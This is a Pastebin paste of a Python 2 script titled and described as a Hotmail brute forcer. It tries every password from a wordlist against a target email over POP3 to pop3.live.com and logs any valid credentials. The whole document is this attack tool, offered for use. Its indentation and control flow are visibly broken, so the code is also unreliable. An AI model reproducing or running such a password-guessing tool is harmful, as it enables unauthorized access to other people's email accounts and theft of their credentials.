0xtv

Hotmail Brute exemple

Nov 24th, 2013
160
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.54 KB | None | 0 0
  1. __author__ = "InceptorZ"
  2.  
  3. #!/usr/bin/python
  4. # -*- coding: utf-8 -*-
  5. # Hotmail brute forcer
  6.  
  7.  
  8. import sys, poplib, time
  9.  
  10.  
  11. log = "hotmailbrute.log"
  12. file = open(log, "a")
  13. counter = 0
  14. face = '''
  15. _ _ _ _ _ __
  16. | |__ ___ | |_ _ __ ___ __ _(_) | | |__ / _|
  17. | '_ \ / _ \| __| '_ ` _ \ / _` | | | | '_ \| |_
  18. | | | | (_) | |_| | | | | | (_| | | | | |_) | _|
  19. |_| |_|\___/ \__|_| |_| |_|\__,_|_|_| |_.__/|_|
  20.  
  21. Hotmail brute forcer
  22. '''
  23.  
  24.  
  25. help = '''
  26. Usage : ./hotmailbf.py -u [email] -w [wordlist]
  27. Example : ./hotmailbf.py -u [email protected] -w wordlist.txt
  28. '''
  29.  
  30. for arg in sys.argv:
  31.     if arg.lower() == '-u' or arg.lower() == '--user':
  32.         email = sys.argv[int(sys.argv.index(arg))+1]
  33.     elif arg.lower() == '-w' or arg.lower() == '--wordlist':
  34.         wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
  35.     elif arg.lower() == '-h' or arg.lower() == '--help':
  36.         print face
  37.         print help
  38.         file.write(face)
  39.         file.write(help)
  40.  
  41.  
  42. #Change these if needed.
  43. HOST = 'pop3.live.com'
  44. PORT = 995
  45.  
  46.  
  47. try:
  48.     preventstrokes = open(wordlist, "r")
  49.     words = preventstrokes.readlines()
  50.     count = 0
  51.     while count < len(words):
  52.         words[count] = words[count].strip()
  53.         count += 1
  54. except(IOError):
  55.     print "\n[-] Error: Check your wordlist path\n"
  56.     file.write("\n[-] Error: Check your wordlist path\n")
  57.     sys.exit(1)
  58.  
  59. def definer():
  60.     print "-" * 60
  61.     print "[+] Email : %s" % email
  62.     print "[+] Wordlist : %s" % wordlist
  63.     print "[+] Length wordlist : %s " % len(words)
  64.     print "[+] Time Starting : %s" % time.strftime("%X")
  65.     print "-" * 60
  66.     file.write ("\n[+] Email : %s" % email)
  67.     file.write ("\n[+] Wordlist : %s" % wordlist)
  68.     file.write ("\n[+] length wordlist : %s " % len(words))
  69.     file.write ("\n[+] Time Starting : %s" % time.strftime("%X"))
  70.  
  71. def main(password):
  72.     global counter
  73.     sys.stdout.write ("[-] Trying : %s \n" % (password))
  74.     sys.stdout.flush()
  75.     file.write("[-] Trying : %s \n" % (str(password)))
  76.  
  77. try:
  78.     pop = poplib.POP3_SSL(HOST, PORT)
  79.     pop.user(email)
  80.     pop.pass_(password)
  81.     pop.quit()
  82.     print "[+] W00t w00t !!!\n[+] Username : [%s]\n[+] Password : [%s]\n[+] Status : Valid!" % (email, password)
  83.     file.write("[+] W00t w00t !!!\n[+] Username : [%s]\n[+] Password : [%s]\n[+] Status : Valid!" % (email, password))
  84.     sys.exit(1)
  85. except Exception, e:
  86.     pass
  87. except KeyboardInterrupt:
  88.     print "\n[-] Aborting...\n"
  89.     file.write("\n[-] Aborting...\n")
  90.     sys.exit(1)
  91.     counter+=1
  92.     if counter == len(words)/5:
  93.         print "[+] Hotmailbruteforcer 20% way done..."
  94.         print "[+] Please be patient..."
  95.         file.write("[+] hotmailbruteforcer on 1/4 way done...\n")
  96.         file.write("[+] Please be patient...\n")
  97.     elif counter == len(words)/4:
  98.         print "[+] Hotmailbruteforcer 25% way done..."
  99.         print "[+] Please be patient..."
  100.         file.write("[+] hotmailbruteforcer on 1/4 way done...\n")
  101.         file.write("[+] Please be patient...\n")
  102.     elif counter == len(words)/2:
  103.         print "[+] Hotmailbruteforcer on 50% done..."
  104.         print "[+] Please be patient..."
  105.         file.write("[+] hotmailbruteforcer on halfway done...\n")
  106.         file.write("[+] Please be patient...\n")
  107.     elif counter == len(words):
  108.         print "[+] Hotmailbruteforcer done...\n"
  109.         file.write("[+] Hotmailbruteforcer done...!\n")
  110.  
  111. if __name__ == '__main__':
  112.     print face
  113.     file.write(face)
  114.     definer()
  115. for password in words:
  116.     main(password.replace("\n",""))
  117.     main(password)
Advertisement
Add Comment
Please, Sign In to add comment